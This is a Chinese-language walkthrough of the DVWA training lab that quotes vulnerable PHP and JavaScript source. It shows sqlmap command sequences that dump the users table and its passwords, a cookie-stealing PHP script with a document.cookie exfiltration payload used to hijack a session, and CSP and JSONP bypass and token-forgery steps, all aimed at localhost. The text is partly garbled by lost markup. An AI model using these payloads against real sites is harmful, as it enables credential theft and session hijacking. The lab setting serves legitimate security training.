if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( ''
. mysqli_error($GLOBALS["___mysqli_ston"]) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "ID: {$id}"; } break; case SQLITE: global $sqlite_db_connection; $query = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; #print $query; try { $results = $sqlite_db_connection->query($query); } catch (Exception $e) { echo 'Caught exception: ' . $e->getMessage(); exit(); } if ($results) { while ($row = $results->fetchArray()) { // Get values $first = $row["first_name"]; $last = $row["last_name"]; // Feedback for end user echo "
First name: {$first}
Surname: {$last}
ID: {$id}"; } } else { echo "Error in fetch ".$sqlite_db->lastErrorMsg(); } break; } } // This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '
First name: {$first}
Surname: {$last}
'. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '' ); $number_of_rows = mysqli_fetch_row( $result )[0]; mysqli_close($GLOBALS["___mysqli_ston"]); ?>
解析 PHP代码,提交方式由get变成了post,针对提交方式由get-->post
,因此需要添加参数--data
:
1)查看数据库:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -dbs
参数获取:输入1
后,点击Submit
,进行Burpsuite抓包,获取所需参数;
2)爆出表名:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa --tables
,查看返回数据:
3)爆出字段名:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --columns
,查看返回数据:
3)查看具体内容并下载:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users -C user,password -dump
,查看返回数据:注意在user
和password
之间不能有空格;
4)查看表的全部内容并下载:
输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie "security=medium; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --data="id=1&Submit=Submit" -D dvwa -T users --dump --batch
SQL Injection (Blind) Source
vulnerabilities/sqli_blind/source/high.php
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
$exists = false;
switch ($_DVWA['SQLI_DB']) {
case MYSQL:
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ); // Removed 'or die' to suppress mysql errors
$exists = false;
if ($result !== false) {
// Get results
try {
$exists = (mysqli_num_rows( $result ) > 0); // The '@' character suppresses errors
} catch(Exception $e) {
$exists = false;
}
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
break;
case SQLITE:
global $sqlite_db_connection;
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
try {
$results = $sqlite_db_connection->query($query);
$row = $results->fetchArray();
$exists = $row !== false;
} catch(Exception $e) {
$exists = false;
}
break;
}
if ($exists) {
// Feedback for end user
echo 'User ID exists in the database.
';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo 'User ID is MISSING from the database.
';
}
}
?>
相较于前面两种,单独的这里id
值由cookie
传递,设置了睡眠时间,增加了盲注的时间耗费;
1)查看数据库: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" --dbs
,查看返回数据:
参数获取方式:页面点击Click here to change your ID.
,弹出框输入1
,进行抓包,第一个包如下所示:
点击Fordword
后,展示第二个数据包:
从以上2个数据包中查找所需参数。
2)查看数据表: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa --tables
,查看返回数据:
3)查看数据表字段: 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --columns
,查看返回数据:
4)脱库(部分表数据): 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users -C user,password -dump
,查看返回数据:
5)脱库(全部表数据): 输入python sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/cookie-input.php#" --data="id=1&Submit=Submit" --second-u="http://127.0.0.1/dvwa/vulnerabilities/sqli_blind/" --cookie="id=1;security=high; PHPSESSID=5e9m5kn9f5jeh0vu5ks5g86mi3" -D dvwa -T users --dump --batch
,查看返回数据:
<html>
<head>
<meta charset="gbk" />
<title> TEST title>
head>
<body>
<p>The is p.<p>
<h1>Product:h1>
<ul>
<li>Appleli>
<li>Pearli>
<li>Cornli>
ul>
body>
html>
# No protections, anything goes
?>
English
然后点击Select
,查看URL变化:default=
内容(其中
内容,直接访问时,页面无响应:说明
字段被过滤了,那么可以使用非
的;下拉列表选择一个值,点击Select
查看URL变为http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=English
,页面源码如下所示:
cookie.php
文档用于获取页面的cookie
,放置在指定目录下,文档内容如下:此代码将获取到的cookie
写入到cookie.txt
中:
$cookie = $_GET["cookie"];
file_put_contents("cookie.txt",$cookie);
?>
cookie
:
,其中http://127.0.0.1/dvwa/vulnerabilities/xss_r/cookie.php
是cookie.php
文件的路径;将payload进行URL编码(http://www.jsons.cn/urlencode/)%3Cscript%3Edocument.location%3D%22http%3A%2F%2F127.0.0.1%2Fdvwa%2Fvulnerabilities%2Fxss_r%2Fcookie.php%3Fcookie%3D%22%2Bdocument.cookie%3C%2Fscript%3E
拼接到后http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=
组成http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=%253Cscript%253Edocument.location%253D%2522http%253A%252F%252F127.0.0.1%252Fdvwa%252Fvulnerabilities%252Fxss_r%252Fcookie.php%253Fcookie%253D%2522%252Bdocument.cookie%253C%252Fscript%253E#
进行访问,访问结果如下所示:利用获取到的cookie登录DVWA,获取到cookie
后打开另外一个浏览器访问dvwa,f12打开开发者工具,修改cookie
为获取的cookie
并将security 设为low,火狐浏览器修改cookie
如下:
header ("X-XSS-Protection: 0"); // Is there any input? if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { // Get input $name = str_replace( '
,成功弹窗:
输入其他标签:
输入click
,成功弹窗: 标签定义超链接,用于从一张页面链接到另一张页面;
元素最重要的属性是 href
属性,它指明链接的目标。
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// /i表示不区分大小写
// Feedback for end user
$html .= "Hello ${name}
";
}
?>
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
,这里写在message输入框里面的,name输入框是限制长度的,其实这个长度限制如果仅仅是在html中控制,是可以突破的。等到第二步的时候来突破:if( isset( $_POST[ 'btnSign' ] ) ) { // Get input $message = trim( $_POST[ 'mtxMessage' ] ); $name = trim( $_POST[ 'txtName' ] ); // Sanitize message input $message = strip_tags( addslashes( $message ) ); $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $message = htmlspecialchars( $message ); // Sanitize name input $name = str_replace( '
,点击Froward
,成功弹窗:
,点击Forward
,成功弹窗:
,鼠标移动到图片,触发弹窗:
,触发弹窗:
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
//mysql_close();
}
?>
标签,但是却忽略了img、iframe等其它危险的标签,因此name参数依旧存在存储型XSS。
,成功弹窗:
,成功弹窗:
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://www.toptal.com/developers/hastebin/raw/cezaruzeka
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
";
}
$page[ 'body' ] .= '
';
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;";
上句代码可以看出以下外部资源可以被执行:
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
https://pastebin.com/raw/76t1zXbt
:
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
#
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
';
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
unsafe-inline
:当csp有Unsafe-inline
时, 并且受限于csp无法直接引入外部js, 不过当frame-src
为self
, 或者能引入当前域的资源的时候, 即有一定可能能够引入外部js。nonce-source
,仅允许特定的内联脚本块。如源码中:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA='
,所以我们直接输入源码中注释的内容就可以了
就可以弹窗。../..//vulnerabilities/csp/source/jsonp.php
来加载代码。修改该页面以运行您自己的代码。
header("Content-Type: application/json; charset=UTF-8");
if (array_key_exists ("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
$outp = array ("answer" => "15");
echo $callback . "(".json_encode($outp).")";
?>
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
. DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.
1+2+3+4+5=
';
script-src 'self
,看来只允许本界面加载的 javascript 执行。查看source/high.js
源码:function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
js
生成一个 script
标签(src
指向 source/jsonp.php?callback=solveNum
),并把它加入到 DOM
中;js
中定义了一个 solveNum
的函数,因此 script
标签会把远程加载的 solveSum({“answer”:“15”})
当作js
代码执行,而这个形式正好就是调用了 solveSum
函数; s.src = "source/jsonp.php?callback=solveSum";
改为s.src = "source/jsonp.php?callback=alert('/xss/');";
,点击Solve the sum
可触发告警:Phase
中输入 success
,提交一下会出现 Invalid token
,后端很有可能对token进行了校验。Phase
中输入ChangeMe
和 success
,查看请求参数:token
值一样,可以看到,无论我们怎样更改phrase
的值,token
都不会发生变化,也就是说,token
的处理方式有两种可能:token
时,并不会关联phrase
的值;token
时,只会关联phrase
的初始值:ChangeMe
;
$page[ 'body' ] .= <<<EOF
EOF;
?>
generate_token()
方法:function generate_token() {
var phrase = document.getElementById("phrase").value;
document.getElementById("token").value = md5(rot13(phrase));
}
generate_token()
方法,拿到了input
输入框的phrase
的值,然后再以md5
加密的方式赋给了隐藏的input
输入框的token
,也就是说phrase
的值是和token
的值成关联的,phrase
的值经过md5
加密后,再赋给token
,最后提交给后端。md5(rot13("success"))
生成success
的MD5值,将MD5值复制到BurpSuite中,进行请求,发现注入成功:success
,运行函数generate_token()
,最后点击Submit
,发现可以注入成功:token
的函数放在单独的js
文件中,生成的方式是将 "XX" + phrase 变量的值 + "XX"
字符串反转作为 token
。
$page[ 'body' ] .= '';
?>
medium.js
代码:function do_something(e)
{
for(var t = "", n = e.length - 1; n >=0; n--)
t += e[n];
return t
}
setTimeout(function()
{
do_elsesomething("XX")
},300);
function do_elsesomething(e)
{
document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}
success
之后抓包看看,现在的 token
是 XXChangMeXX
的反转;do_elsesomething("XX")
函数,再次注入success
即可;token
值:
$page[ 'body' ] .= '';
?>
high.js
源码:源码是一团乱码,这是典型的 JS
混淆,混淆代码如下所示:function do_something(e) {
for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];
return t
}
function token_part_3(t, y = "ZZ") {
document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {
document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {
document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {
token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);